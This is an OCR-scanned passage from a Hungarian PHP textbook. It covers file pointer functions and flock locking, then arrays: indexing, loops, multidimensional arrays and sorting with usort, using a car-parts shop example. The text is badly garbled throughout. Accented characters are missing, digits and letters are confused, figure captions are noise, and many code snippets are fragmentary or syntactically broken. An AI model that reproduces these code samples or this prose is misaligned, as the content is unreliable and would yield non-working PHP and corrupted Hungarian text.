rsznek) egyszerre trtn beolvassra. A teljes eredeti kd helyett az albbit is hasznlhatjuk:
$fp
fopen("$DOCUMENT_ROOTI.. Irendeleseklrendelesek.txt",
'rb');
filesize("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt" )));
fclose( $fp );
l> )
\n
karaktereket.
Abban az esetben, ha a fjl nem trlhet, a fggvny hamis rtkkel tr vissza. Ez jellemzen akkor fordulhat el, ha nin
csen jogosultsgunk a trlsre, vagy pedig a fjl nem ltezik.
ftell().
A rewind () fggvny a fjl elejre viszi vissza a f:ijlmutatt. Az ftell () fggvny azt mutatja meg, hogy- bjtokban
kifejezve- mennyit mozdult elre az llomnyban a fjlmutat. Pldul a kvetkez sorokat rhatnnk az eredeti kd aljhoz
(az fclose () parancs el):
echo
'A
echo
rewind($fp);
'.(ftell($fp));
51
'. (ftell($fp));
'<br />';
A bngsznkben megjelen eredmny a 2.5 brn lthathoz hasonl kell, hogy legyen.
Bob autalkatrszek
Meereadt'ltsd:
...
6001J'*-'St,s.-.
:!0"4l,11lolaodolOOII...,.,.._.0 .... 01Jitio0amy.SJOOOOllM-Rd,
1,)1"'-dol1XIIO_......,.I*i4lUOOU'Ik.-S.,.
lll"l0.}\lll0014_...._.1
--1"6
.......-pooiciD
2.5 bra: A megrendelsek beolvassa utn a fjlmutat afjl vgre mutat, 267 bjtnyival mozdult el.
A rewind fggvny hvsval visszatr kiindul pozcijba (O), afjl elejre.
Az fseek( ) fggvnnyel a fjl tetszleges pontjra llthatjuk a fjLmutatt. Prototpusa a kvetkez:
1nt fseek ( resource fp,
int eltelas
[,
Az fseek ( ) meghvsa az elto las_kezdepontj a paramterben megadott ponttL szmtva eltolas bjtnyival eL
tolva helyezi el az fp fjLmutatt. Az opcionlis eltolas_ kezdepontj a paramter alaprtelmezett rtke SEEK_SET, ami
gyakorlatiLag a fjl eleje. Tovbbi lehetsges rtk a SEEK_CUR (a fjLmutat pillanatnyi helyzete) s a SEEK _END (a fjl vge).
A rewind ( ) fggvny azzal egyenrtk, mintha meghvnnk nulla eltolssal (offset) az fseek () fggvnyt. Az fseek ()
segtsgvel megtallhatjuk pldul egy adott fjl kzps rekordjt, vagy binris keresst hajtharunk vgre. Amikor azonban mr
annyira bonyolultt vLik az adatfjl kezelse, hogy ilyen dolgokra van szksgnk, sokkal jobban jrunk, ha adatbzist hasznlunk.
Fjlok zrolsa
Kpzeljiik el azt a helyzetet, amikor kt vsrl egyszerre prblja ugyanazt a termket megrendelni. (Ez egyltaln nem
olyan ritka szituci, kLnsen akkor nem, ha jelents forgalom van honlapunkon.) Mi trtnik akkor, ha az egyik vev meg
hvja az fopen () fggvnyt, s elkezd rni, majd a msik is meghvja az fopen ()-t, s is elkezd rnir Mi lesz a fjl tartalmar
Az egyik, majd a msik megrendelsr Esetleg ppen fordtvar Vagy csak az egyik megrendelsr Vagy csak a msikr Esetleg
valami teljesen rtelmetlen, pLdul a kt megrendels valami keszekusza sszevisszasgban r A vlasz opercis rendszernktl
fgg. de gyakran teljesen kiszmthatatlan.
Az ilyen problmk eLkerlse rdekben zroini rdemes az rintett fjlt. A PHP ezen funkcija az flock ( ) fggvnnyel
rhet el. Ezt kell meghvnunk a fjl megnyitsa utn, de mg kzveclenl az eltt, hogy brmilyen adatt beolvasnnk, vagy
rnnk a fjLba.
Az flo ck () prototpusa a kvetkez:
bool flock (resource eroforras_valtozo,
int muvelet
[,
int &varakozzon_e])
Els paramterknt egy megnyitott fjl muratjt, msodkknt pedig a zroLs kvnt tpust jelkpez llandt kell tadni.
A fggvny visszatrsi rtke sikeres zroLs esetn igaz, egybknt pedig hamis. Az opcionlis harmadik paramterben meg
adhat, hogy a fggvny megvrja-e a sikeres lezrst, vagy azonnal trjen vissza:
A muvelet paramter lehetsges rtkeit, illetve a zroLstpusokat a 2.2 tbLzat tartalmazza. A lehetsges rtkek a PHP
4.0.1 vltozatnak megjelensvel mdosultak, gy a tblzatbl mindkt rtkkszlete[ kiolvashatjuk.
2.2 tblzat: Az flo ck () muvelet paramternek rtkei
Mvelet rtke
Jelents
LOCK_SH (korbban
l)
LOCK _EX (korbban 2)
LOCK_UN (kc-rbban 3 )
LOCK _NB (korbban 4)
52
2. fejezet
Amennyiben hasznlni kvnjuk az flock () fggvnyt, a fjlt hasznl sszes kdhoz hozz kell adni, klnben rtelmetlen
lesz alkalmazsa.
Nem rt tudni, hogy az flock() NFS s egyb hlzati fjlrendszerek esetn nem mkdik. A rgebbi, zrolst nem tmo
gat fjlrendszerekkel (pldul FAT) sem mkdik. Egyes opercis rendszereken folyamatszinten valsul meg, s-rbbszl
szerver API alkalmazsa esetn nem megfelelen fog mkdni.
Ha hasznlni szeretnnk a megrendelses pldban, a kvetkezkppen mdosthaguk a rendeles_feldolgozasa. php
fjlt:
$fp
fopen("$DOCUMENT_ROOTI .. Irendeleseklrendelesek.txt",
flock($fp,
LOCK_EX);
fwrite($fp,
flock($fp,
ll fjl
'ab');
zrolsa rshoz
$kimenet1 sztring);
LOCK_UN);
fclose($fp);
fopen("$DOCUMENT_ROOT l .. lrendeleseklrendelesek.txt",
flock($fp,
LOCK_SH);
'r');
ll olvass a fjlbl
flock($fp,
LOCK_UN);
fclose($fp);
A kd most mr robusztusabb, m mg mindig nem tkletes. Mi trtnik akkor, ha egy idben kt kd prbl zrolst
vgrehajtani? Ez versenyhelyzetet teremt, amelyben a folyamatok a zrolsrt versenyeznek, s bizonytalan, hogy mi lesz ennek
a kmenete. Egy ilyen helyzet tovbbi problmkat vet fel. Jobban jrunk, ha adatbzis-kezel rendszert (DBMS) alkalmazunk.
53
(vagy legalbbis majdnem minden) funkcival brnak. Persze, mi magunk is megrhatnnk a PHP fggvnyek sajt knyvtrt,
de mi rtelme lenne jra feltallni a kereket?
Knyvnk msodik, A MySQL hasznlata cm rszben bemuratjuk a relcis adarbzisok mkdst ltalnossgban,
illetve konkrtan azt, miknt lehet a MySQL-t adarbzissal tmogatott weboldalak ltrehozsra belltani s hasznlni.
Ha egyszer rendszert ptnk, s gy rezzk, nincs szksgnk minden funkcit tartalmaz adatbzisra, de szeretnnk
elkerlni az egyszer fjlok hasznlatbl ered zroJsi s egyb problmkat, mrlegeljk a PHP SQLire bvtmnynek
hasznlatr! Ez lnyegben SQL kezelfelleret nyjt egy egyszer fjlhoz. Knyvnkben a MySQL hasznlatra fordtjuk
figyelmnket, de ha szecetnnk tbbet megtudni az SQLite-rl, tjkozdjunk a http:/ /sqlite.org/ s a http://www.php.ner/
sqlite oldalrl!
Tovbbi olvasnival
A fjlrendszerrel val kapcsolatrl tovbbi informcit kapharunk a 19. fejezetbl
azon rszben megrrgyaljuk, hogyan lehet megvltoztaeni egy fjl jogosultsgt, tulajdonost s nevt; hogyan dolgozhatunk
a
Hogyan tovbb:
A kvetkez fejezetben megismerjk a tmbket, illetve
azt,
3
Tombk hasznlata
E fejezetbl megrodhatjuk, hogyan hasznljuk a tmbt, ezt a rendkvl fontos programozsi szerkezetet. Az elz fejeze
tekben egyetlen rtket trol skalris vltozkkal dolgoztunk. A tmb rtkek halmazr vagy sorozatt trolni kpes vltoz.
Szmtalan eleme lehet, s ezek mindegyike konkrt rtket, pldul szveget vagy szmot vagy akr egy msik rmbr is tartal
mazhat. A tmbket tartalmaz tmbt tbbdimenzis tmbnek nevezzk.
A PHP a numerikusan (szmmal) indexele s az asszociatv (trstsos) tmbket egyarnt tmogatja. A ms programozsi
nyelveken mr dolgoz olvask bizonyra tallkoztak numerikusan indexele rmbkkel, m aki nem hasznlt PHP-t vagy
Perlr, az valsznleg az asszociatv tmbkrl sem hallott mg - ugyan mshol tallkozhatott mr hasheknek, trkpeknek
(map) vagy knyvtraknak nevezett, hasonl szerkezetekkel.
Az asszociatv tmbkben a szmoknl informatvabb rtket alkalmazhatunk indexknt. A szmszer index helyett hasz
nlharunk szavakat vagy ms tartalmas informcit.
Fejezetnkben tovbbfejlesztjk Bob autalkatrsz-kereskedsnek pldaprojektjr, tmbk segtsgvel knnyebben elbol
dogulunk majd az olyan ismtld informcikkal, mint a vsrlk megrendelsei. Ekkppen rvidebb, rendezerrebb kdot
rva hajguk vgre az elz fejezetben a fjlokon vgrehajtott mvelerek egy rszt.
A fejezerben a kvetkez fbb tmakrket trgyalj uk:
Numerikusan indexelt tmbk
Nem numerikusan indexelt tmbk
Tmbmveleri jelek
Tbbdimenzis tmbk
Tmbk rendezse
Tmbfggvnyek
Gumiabroncs
Olaj
Gyertya
termk
3.1 bra: Bob termkei tmbben is trolhatk.
Miurn tmbben eltroltuk az informcit, szmtalan hasznos mdon dolgozharunk vele. Az l. fejezetben megismert ciktu
sokkal jelents mennyisg munktl kmlhetjk meg magunkat, ha ugyanazt a mveleter a tmb minden elemn vgrehajt
juk. A teljes informcihalmaz egyetlen egysgknt kezelhet. Ily mdon egyetlen sornyi kddal pldul a tmbben szerepl
sszes rtket tadhatjuk egy fggvnynek. Tegyk fel, hogy bcsorrendbe kvnjuk rendezni a termkeket! Ehhez nem kell
mst tenni, mint a teljes tmbt tadni a PHP sort ( ) fggvnynek.
A tmbben trole rtkeket a tmb elemeinek nevezzk. Minden tmbelemhez index (ms nven kulcs ) tartozik, amit az
egyes elemek elrsre hasznlunk. A legtbb programozsi nyelvben a tmbk nullval vagy eggyel kezdd numerikus inde
xekkel rendelkeznek.
56
3. fejezet
A PHP lehetv teszi,hogy tmbk indexeiknt szmokat s karakterlncokat egyarnt hasznljunk. Dolgozharunk
hagyomnyosan szmokkal indexelt tmbkkel,de tartalmasabb s hasznosabb indexet is rendelhetnk a tmbelemekhez.
(Ez a megkzelts ismers lehet azok szmra,akik ms programozsi nyelvekben dolgoztak mr asszociatv tmbkkel, tr
kpekkel,hashekkel vagy knyvtrakkal.) A programozi megkzelts is kiss eltr lehet attl fggen, hogy a hagyomnyos,
numerikusan indexelt tmbkkel vagy a nmileg izgalmasabb indexrtkeket hasznl tmbkkel dolgozunk.
Elszr a numerikusan indexelt tmbkkel ismerkednk meg. majd onnan lpnk tovbb a felhasznl ltal meghatrozott
kulcsok hasznlatra.
A range() fggvny harmadik, opcionlis paramtervel az rtkek kztti lpskze hatrozhatjuk meg. Ha pldul olyan
tmbre van szksgnk,amely az l s 10 kztti pratlan szmokat tartalmazza,a kvetkezkppen hozhatjuk ltre:
$paratlan_szamok = range(l,
10,
2);
Amennyiben a kivnt informcit valamely fjlban troljuk, kzveclenl ebbl az llomnybl is betlthetjk a tmb tartal
mr. Ezzel a tmakrrel a fejezet ksbbi, Tmbk feltltse fjlokbl cm rszben foglalkozunk.
Ha a tmbbe sznt adatok adatbzisban troldnak,a tmb tartalmt kzveclenl az adatbzisbl is betlthetjk. Ennek
folyamatt a MySQL
Megfelel fggvnyekkel kinyerhetjk a tmbk egyes rszeit,illetve trendezhetjk tartalmukat. Ezekkel a fggvnyekkel
a fejezet egy ksbbi,Egyb tmbmveletek
A tmb els elemnek indexe alaprtelmezsben nulla. Ugyanezt a szmozsi smt hasznljk a C, a C++, a Java s sok
ms nyelvben,m ha eddig mg nem tallkoztunk vele,eltarthat egy kis ideig. amg hozzszokunk.
Akrcsak ms vltozknl,a tmb elemeinl is az
'Biztositek';
'
'Biztositek';
$termekek[3J";
Tmbk hasznlata
57
Annak ellenre, hogy a PHP meglehetsen intelligensen dolgozza fel a karakterlncokat, knnyen sszezavarodhatunk.
Amennyiben azzal a problmval tallkozunk, hogy a PHP nem megfelelen rtelmez egy olyan tmbt vagy vltozt, amely
ketts idzjelek kztti karakterlncba van gyazva, akkor helyezzk ket az idzjelen kvl, vagy hasznljunk sszetett
szintaktikt! Ez utbbit a
utasts
megf elelen mkdik, m a fejezet ksbbi rszben sok olyan sszetettebb pldt ltunk, ahol a vltozkat az idzjellel kz
refogott karakterlncon kvl tallj uk.
A tbbi PHP vltozhoz hasonlan a tmbket sem kell inicializlni vagy elzetesen ltrehozni. Els hasznlatukkor auto
matikusan ltrejnnek.
A kvetkez kd ugyanazt a$ termekek tmbt hozza ltre, mint amit korbban az array () utastssal lltotrunk el:
$termekek[Ol = 'Gumiabroncs';
$termekek[ll = 'Olaj';
$termekek[2l = 'Gyertya';
Amennyiben a $termekek mg nem ltezik, az els sor ltrehoz egy egyetlen elem, j tmbt. A kvetkez sorok rt
keket adnak a tmbhz. Ahogy elemeket adunk a tmbhz, az dinarnikusan vltoztatja mrett. Ez az tmretezsi lehetsg
a
$i<3;
$i++)
A ciklus a kettvel ezeltti kdhoz hasonl kimenetet eredmnyez, m sokkal kevesebbet kell gpelnnk ahhoz, hogy egy
nagy tmb minden egyes elemr kezelni tudjuk. A tny, hogy egyszer ciklusokkal a tmbk minden egyes elemr knnyen
elrjk, vonzv teszi a tmbk hasznlatr. Elvehetjk a kifejezetren a tmbkkel val munkhoz kialaktott foreach cik
lust is. Ebben a pldban a kvetkezkppen kellene hasznlnunk:
foreach ($termekek as $aktualis)
A fenti kd minden egyes elemet egyenknt eltrol az $aktualis vltozban, s kirja azt.
Tmb inicializlsa
A kvetkez kd ltal ltrehozott tmb a termknevet hasznlja kulcsknt, a tmb elemeinek rtke pedig az adott termk ra:
$arak = array('gumiabroncs'=>lOO,
'olaj'=>lO,
'gyertya'=>4);
A kulcsok s az rtkek kztri szimblum egyszeren egy egyenlsgjel s az azt kvet nagyobb szimblum.
Tmbelemek elrse
A tartalmat ebben az esetben is a vltoz, azaz a tmb nevvel s a kulccsal rjk el, vagyis az arak (azaz rak) tmbben trolt
informcit az albbiakkal kapjuk vissza:
$arak['gumiabroncs' l, $arak['olaj 'l
s $arak ['gyertya'].
A kvetkez kd ugyanezt az $arak tmbt eredmnyezi. Ez a vltozat azonban nem hrom elemmel hozza ltre a tm
bt, hanem csak egyetlen eggyel, majd kt tovbbi elemet ad hozz:
$arak = array( 'gumiabroncs'=>lOO );
$arak['olaj'] = 10;
$arak['gyertya']
= 4;
58
3. fejezer
Nzznk mg egy kiss eltr, m az elzvel egyenrtk kdot! Irt kzvedenl egylraln nem hozzuk ltre a tmbt,
hanem az els elem hozzadsa hozza ltre:
$arak['gumiabroncs']
$arak['o1aj']
$arak['gyertya']
100;
10;
= 4;
Ciklusok hasznlata
Mivel a tmbben hasznlt indexek jelen esetben nem szmok, a tmbbel val munkhoz nem vehetnk ignybe egyszer
szmllt alkalmaz for ciklust. Hasznlharjuk ellenben a foreach ciklust, illetve a list() s az each () szerkezeret.
A foreach ciklus asszociatv tmbk esern kiss eltr szerkezettel mkdik. Hasznlhatjuk poncosan gy, ahogyan az
elz pldban tettk, vagy bevehetjk a kdba a kulcsokar is:
foreach ($arak as $kulcs => $ertek)
$ar) = each($arak)) {
Ez a sor az eaeh() fggvnyt hasznlva fogja az $arak aktulis elemet, tmbkm visszaadja azt, majd a kvetkez elemet
teszi az akculiss. A list ( ) segtsgvel a $termek s $ar nev kt vltozv alaktja az each () ltal visszaadott tmb
nulladik s els elemeit.
Az albbi rvid kddal a teljes $arak tmbt bejrhatj uk, s megjelenthetjk tartalmr:
reset($arak);
while (list($termek,
$ar) = each($arak))
Tmbk hasznlata
59
Ennek kimenere megegyezik az elz kdval, m knnyebben olvashat, mert a l ist () lehetv teszi, hogy nevet rendel
jnk a vlrozkhoz.
Az ea ch () hasznlarakor gyeljnk arra, hogy a tmb szmon targa az aktulis elemr! Ha ugyanabban a kdban ktszer
kvnunk hasznlni egy tmbt, a res et () fggvnnyel vissza kell lltani az aktulis elemet a tmb elejre. Az arak tmb
ismtelt bejrshoz gpeljk be a kvetkezket:
reset ($arak);
while
( list ( $termek,
$ar
each ( $arak )
/>";
Ez a kd visszallga az aktulis elemet a tmb elejre, s ezzel lehetv teszi, hogy jra vgiglpkedjnk a tmbn.
Tmhmveleti jelek
A tmbkn klnleges mveleri jelek alkalmazhatk. Tbbsgknek van skalris megfelelje, ahogy ez a 3.1 tblzatbl kiderl.
3.1
Plda
Uni
$a
Egyenl
$a == $b
Azonos
$a
!=
Nem egyenl
$a
<>
Nem egyenl
$a <> $b
!==
Nem azonos
$a
Mveleti
jel
+
E redm ny
Az $a s a $b unija. A $b tmbt hozzfzi $a-hoz, de az azonos
$b
===
$b
!== $b
Ezek a tmbopertorok nagyrszt magtl rtetdek, csak az uni szorul nmi tovbbi magyarzatra. Az uni mveleri jel
megksrli hozzadni a $b elemeit az $a vghez. Ha a $b valamely elemei az $a tmbben is megtallhat kulcsokkal rendel
keznek, akkor azokat nem fogja hozzadni. Ez azt jelenti, hogy a mvelet nem rja fell az $a elemeit.
Ltni fogjuk, hogy a 3.1 tblzatban lv tmbmveleri jelek rnindegyiknek ltezik skalris vltozkon mkd megfele
lje. Ha megjegyezzk azt, hogy a
sszeadst hajt vgre a skalris tpusokon s unit tmbk esetn, mkdsket akkor is
rtelmezni tudjuk, ha nem kvnunk elmlyedni a mgttk ll matematikban. A tmbket nem lehet rtelmesen sszeha
sonltani a skalris tpusokkal.
Tbbdimenzis tmbk
A tmbk nem szksgszeren csak kulcsok s rtkek egyszer listi; a tmb minden egyes eleme akr egy msik tmbt is
trolhat. gy hozhatunk ltre ktdimenzis tmbket. Az ilyen tmbket mtrixknt kpzelheljk el, amelynek szlessge s
magassga is van - ezek a sorok s az oszlopok.
Ha egynl tbb adatot szeremnk trolni a Bob ltal forgalmazott termkekrl, ktdimenzis tmbt kell hasznlnunk.
A 3.3 brn ktdimenzis tmbknt ltjuk Bob termkskljt, amelyben a sorok egy-egy termket, az oszlopok az eltrolt
termkjellemzt tartalmazzk.
\"
60
3. fejezet
Kd
Megnevezs
TIR
Gumiabroncs
100
OIL
Olaj
10
SPK
Gyertya
termkjellemz
3.3 bra: Egy ktdimenzis tmbben tbb informcit trolhatunk Bob termkeirl.
'Gumiabroncs',
array( 'OIL',
'Olaj',
array( 'SPK',
'Gyertya',
100 ) ,
10 ),
4 ) );
Ebbl a meghatrozsbl lthat, hogy a$ termekek tmb most hrom tmbt tartalmaz.
Emlkezhetnk r, hogy egydimenzis tmbkben lv adatok elrshez a tmb nevre, illetve az elem indexre van szk
sg. A dolog ktdimenzis tmb esern is hasonlan mkdik annyi klnbsggel, hogy nnden elem kett, egy sor- s egy
oszlopindexszel br. (A legfels sor a O. sor, a bal szls oszlop pedig a O. oszlop.)
Ha ennek a tmbnek az elemeit kellene megjelentennk, a kvetkezkppen rnnk el az egyes elemeket:
echo 'l'.$termekek[O] [0].'l' .$termekek[0)[1).' l'.$termekek[0)[2).' l<br />';
echo
Egy
for
for ($sor = 0;
for
$sor < 3;
for ($oszlop = 0;
$sor++)
$oszlop < 3;
(
$oszlop++)
A kt pldakd kztt az az egyetlen, m nem elhanyagolhat klnbsg, hogy nagyobb tmb esetn a msodik vltozat
sokkal kevesebb gpelst ignyel.
rdemes lehet az oszlopoknak a szmok helyett nevet adni, ahogy ezt a 3.3 brn is ltjuk. Ha ugyanezeker a termkeker
a 3.3 brn lthat oszlopnevekkel szeretnnk eltrolni, az albbi kdot kellene megrnunk:
$termekek = array( array( 'Kod' => 'TIR',
'Megnevezes' => 'Gumiabroncs',
'Ar' => 100
)'
array( 'Kod' => 'OIL',
'Megnevezes' => 'Olaj',
'Ar' => 10
)'
array( 'Kod' => 'SPK',
'Megnevezes' => 'Gyertya',
'Ar' =>4
);
Ez a tmb egyszerbben kezelhet, ha egyetlen rtket szeretnnk visszakeresni. Knnyebb megjegyezni, hogy a megne
vezst a "Megnevezs" oszlopban troljuk, mintsem azt, hogy az l. oszlopban. Ha beszdes nev indexeket hasznlunk, nem
szksges megjegyezni, hogy egy adott elemet az [xJ [yJ helyen trolunk. Knnyedn megtalljuk a keresett adatot, ha rtelmes
sor- s oszlopnevekkel hivatkezunk a trolsi helyre.
Tmbk hasznlata
61
Ezzel azonban elvesztjk annak lehetsgt, hogy egyszer for ciklussal egyenknt vgiglpdeljnk az oszlopokon. Nz
zk meg e tmb megjelentsnek egy lehetsges mdjt:
for (
$sor
echo
Egy for ciklussal vgiglpkedhetnk a kls, numerikusan indexelt$ termekek tmbn. Ennek a tmbnek minden sora
ler nev indexekkel rendelkezik. Egy while ciklusba helyezett each}
(
list
s
(}
tmbkn.
Ezek szerint egy while ciklusra van szksgnk a for ciklusban:
for (
$sor
while l
(
ist(
$kulcs,
$ertek}
each(
$termekek[$sor]}}
echo "l$ertek";
Nem szksges megllnunk kt dimenzinl. Ugyangy, ahogy a tmbelemek tmbket is tartalmazhatnak, ezekbe a tm
bkbe is rakharunk jabb tmbket.
Egy hromdimenzis tmbnek magassga, szlessge s mlysge is van. Ha a ktdimenzis tmbkre oszlopokbl s so
rokbl ll tblzatknt gondolunk, akkor kpzeljk el, ahogy ezeket a tblzatokat egymsra pakoljuk! Az egyes elemekre
azok rtege, sora s oszlopa alapjn hivatkozhatunk.
Ha Bob kategrikra bontan termkeit, hromdimenzis tmbben trolhatn azokat. A 3.4 bra hromdimenzis tmb
ben mutatja a Bob ltal forgalmazott termkeket.
t ll
'0
zo
}:J
Teberaut-alkatraak
Kd
Kd
AataJka
l--lr
l--l-
Gumiabroncs
100
t--
CAR_OIL
Olaj
10
CAR_SPK
Gyerrya
Kd
1[
Met!Devez&
Kiateheraut-alkalrisulr.
Megnevez&
CAR_TIR
termkjellemz
3.4 bra: A
Az ezt a tmbt meghatroz kdbl lthatjuk, hogy egy hromdimenzis tmb tmbk tmbjt tartalmazza:
$kategoriak
array(
array (
array(
'CAR_I
T R',
'Gumiabroncs',
array(
'CAR_OIL',
'
laj',
O
array(
'CAR_SPK',
'Gyertya',
array(
'VAN-I
T R',
'Gumiabroncs',
array(
'VAN_OIL',
'
laj',
O
array(
'VAN-SPK',
100} ,
10 } ,
4}
'
array (
120 ) '
12 } '
'Gyertya', 5}
} '
array (
array(
'TRK_TIR',
'Gumiabroncs',
array(
'TRK_OIL',
'
laj',
O
array(
} ;
15} '
-SPK', 'Gyertya',
'TRK
6}
150} '
62
3. fejezet
Mivel ez a tmb csak numerikus indexeket tartalmaz, begyazort for ciklusokkal jelenthetjk meg a tartalmr:
Sreteg < 3;
for ($reteg = 0;
Sreteg++)
for ($sor = O;
for ($oszlop
0;
$sor++)
$oszlop < 3;
{
$oszlop++)
A tbbdimenzis tmbk ltrehozsi mdja lehetv teszi ngy-, t- vagy akr hatdimenzis tmb megalkotst is. A prog
ramozsi nyelv szempontjbl nincsen korltja a dimenzik szmnak, m hromnl tbb dimenzij szerkezeteket nehezen
rodunk vizulisan magunk el kpzelni. A vals vilgban jelentkez problmk legtbbje hrom vagy kevesebb dimenzival
kezelhet.
Tmbk rendezse
Gyakran jl jhet, ha rendezni rodjuk az egy tmbben lev, egymssal sszefgg adatokat. Egydimenzis tmb esetn ezt igen
knnyen megtehetjk.
array( 'Gyertya',
'Gumiabroncs',
'Olaj ' ) ;
sort($termekek);
10,
4 );
sort($arak);
Tmbk rendezse
a sort
() s ksort () fiiggvnyekkel
Amennyiben jelentssei br kulcsokat hasznl tmbben troljuk el az rucikkeket s azok rt, msmilyen rendez fggvnyt
kell vlasztanunk ahhoz, hogy a kulcsok s az rtkek rendezs kzben is egytt maradjanak.
A kvetkez kd hrom termket s azok rt tartalmaz tmbt hoz ltre, majd rak szerint nvekv sorrendbe rendezi
a tmbt:
$arak = array( 'gumiabroncs'=>lOO,
'olaj '=>10,
'gyertya'=>4 );
asort($arak);
Az asort () az elemek rtke szerint rendezi a tmbt. Ebben a tmbben az rak az rtkek, a kulcsok pedig a sz
veges lersok. Ha r helyert cikknv szerint kvnunk rendezni, a ksort () fggvnyt hasznljuk, amely az rtk helyert
a kulcsot tekinti a rendezs alapjnak. A kvetkez kd eredmnyeknt a tmb kulcsai lesznek bcrend szerint rendezve Gumiabroncs,
Gyertya,
$arak = array(
ksort($arak);
Olaj:
'gumiabroncs'=>100,
'olaj '=>10,
'gyertya'=>4
);
Tombk hasznlata
63
Fordtott rendezs
A hrom klnbz rendez fggvny- sort(},asort (} s ksort (} - emelked sorrendbe rendezi a tmbt. Mind
egyik fggvnynek ltezik egy prja, amely fordtott sorrend szerint- azaz cskken sorrendbe - rendezi a neki radott tm
bt. Ezek neve rsort (}, arsort (} s krsort(}.
A fordtott sorrend szerint rendez fggvnyeket az emelked sorrendbe rendez prjukkal egyez mdon hasznljuk. Az
rsort(} fggvny egydimenzis, numetikusan indexelt tmbt rendez cskken sorrendbe. Az arsort (} fggvny az egyes
elemek rtke, a krsort (}pedig az egyes elemek kulcsa alapjn rendezi cskken sorrendbe az egydimenzis tmbket.
'Gumiabroncs',
'OIL',
'Olaj',
array(
'SPK'
'Gyertya',
100 } ,
10 },
array(
4 } };
Ha rendezzk ezt a tmbt, milyen sorrendben jelennek meg az rtkek Mivel tudjuk, mit jelent a tmb tartalma, legalbb
ktfle rtelmes sorrend ltezik. Hasznos lehet a termkeket megnevezsk szerint bcrendbe vagy ruk szerint numeriku
san rendezni. Mindkt rendezs lehetsges, de az usort(} fggvnyt kell hasznlnunk, s kzlni kell a PHP-vel, hogyan
hasonlrsa ssze az elemeket. Ehhez sajt sszehasonlt fggvnyt kell rnunk.
A kvetkez kd a tmb msodik oszlopt, a megnevezst hasznlva rendezi bcrendbe tmbnket:
function osszehasonl itas ($x,
if ($x[l)
==
$y} l
$y[l)} l
return 0;
else if
($x[l)
<
$y[l)}
return -1;
else
return l;
usort($termekek,
1 osszehasonli tas 1} ;
A knyv eddigi rszben szmos beptett PHP fggvnyt hvtunk meg. Tmbnk rendezshez definilnunk kell sajt
fggvnynket. A fggvnyrssal rszletesen foglalkozunk majd aKdok
Ahhoz, hogy az usort(} hasznlhassa, az osszehasonlitas(} fggvnynek ssze kell hasonltania $x-et s $y-t.
A fggvny visszatrsi rtke O legyen akkor, ha $x s $y egyenl, negatv szm, ha $x a kisebb, s pozitv, amennyiben az
a nagyobb. A fggvny visszatrsi rtke $x s $y rtktl fgg en O, l vagy -l.
64
3. fejezet
A kd utols sora az usort () beptert fggvnyt hvja meg, paramterknt a rendezni kvnt tmbt ( Stermekek) s az
sszehasonlt fggvnyt ( osszehasonlitas ())tadva neki.
Ha mshogyan szeremnk rendezni a tmbt, egyszeren msmilyen sszehasonlt fggvnyt runk neki. r szerinti ren
dezshez a tmb harmadik oszlopt kell venni, s az albbi sszehasonlt fggvnyt kell megrni:
function osszehasonlitas($x,
if ($x[2]
==
$y[2])
$y)
return 0;
else if ($x[2]
<
$y[2])
return -l;
else {
return l;
Meghvsakor az usort($termekek,
Ha tesztels gyannt Juttatnnk ezeket a kdrszleteket, semmilyen kimenetet nem kapnnk. Ezek a kdok egy
nagyobb programba valk.
Megjegyzs:
az angol
ltal megrt sszehasonlt fggvnyre van szksg. Az asort s ksort fggvny fordtort sorrend szerint rendez vltozata,
az uasort() sazuksort () is ignyli a felhasznl ltal definilt, sszehasonlt fggvnyeket.
Az asort() fggvnyhez hasonlan az uasort() fggvnyt is nem numerikusan indexelt tmb rtk szerinti rendezs
hez hasznljuk. Az elbbi akkor alkalmazhat, ha az rtkek egyszer szmok vagy szveg. Ha az rtkek sszetertebb objek
tumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort () fggvnyt!
A ksort () fggvnyhez hasonlan az uk sort () fggvnyt is nem numerikusan indexelt tmb kulcs szerinti rendez
shez hasznljuk. Az elbbit akkor vegyk ignybe, ha a kulcsok egyszer szmok vagy szvegek! Ha a kulcsok sszetertebb
objektumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort() fggvnyt!
r betvel. A fel
hasznl ltali rendezseknek nincsen fordtort vltozata, ennek ellenre fordtort sorrendbe is rendezheg k a tbbdimenzis
tmbket. Mivel az sszehasonlt fggvnyt mi magunk llig uk el, megrhatjuk gy, hogy ellentert rtkkel trjen vissza.
Cskken sorrend szerinti rendezshez fggvnynk visszatrsi rtke akkor legyen l, ha $x kisebb, mint $y, s akkor legyen
- l , ha $x nagyobb, mint $y. Pldul:
function fordtott_osszehasonlitas($x,
if (Sx[2]
==
$y[2])
$y)
return 0;
else if ($x[2]
<
$y[2])
return l;
else
return -1;
Az usort($termekek,
'ford tott_osszehasonl tas') meghvsa ekkor azt eredmnyezi, hogy a tmb r sze
Tmbk trendezse
Elfordulhat, hogy bizonyos alkalmazsokhoz mshogyan szeretnnk kezelni a tmb elemeinek sorrendjt. A shuffle ( )
fggvny vletlenszer sorrendbe rakja a tmbelemeket. Az array_reverse( ) fggvny az eredeti tmb msolatt adja visz
sza, amelyben az elemek fordtott sorrendben szerepelnek.
Tombk hasznlata
65
oldalon csak hrom, vletlenszeren kivlasztott elem jelenjen meg. Hogy a trzsvendgeket ne untassa, azt szeretn, hogy ez
a hrom kivlasztott termk minden ltogatsnl ms s ms legyen. Cljt egyszeren elrheti, ha termkeit egyetlen tmbbe
rakja. A 3.1 pldakd hrom, vletlenszeren kivlasztott kpet jelent meg azzal, hogy vletlenszer sorrendbe rendezi a tm
bt, majd megjelenti els hrom elemr.
3.1 pldakd: bob_nyi to_oldala.php -Din amikus nyitoldalltrehozs a PHP-vel Bob alkatrsz-kereske ds hez
<?php
Skepek
array('abroncs.jpg',
'gyujto_gyertya.jpg',
'kormanykerek.jpg',
'ablaktorlo_lapat.jpg',
'fekbetet.jpg');
shuffle ($kepek);
?>
<html>
<he ad>
<title>Bob autalkatrszek</t itle>
</head>
<body>
<hl> Bob autalkatrszek</hl>
<div align="center">
<table width = 100%>
<tr>
<?php
for ($i = 0;
Si < 3;
$i++) {
Mivel a kd vletlenszeren vlaszt kpeket, szinte minden egyes betltskor ms s ms oldalt ltunk (3.5 bra).
Bob autalkatrszek
66
3. fejezet
$i>O;
$i--)
array_push($szamok,
{
$i);
A for ciklus a kvetkezkppen eredmnyezhet cskken sorrendet: megadunk egy nagy kezdeti rtket, majd a ciklus
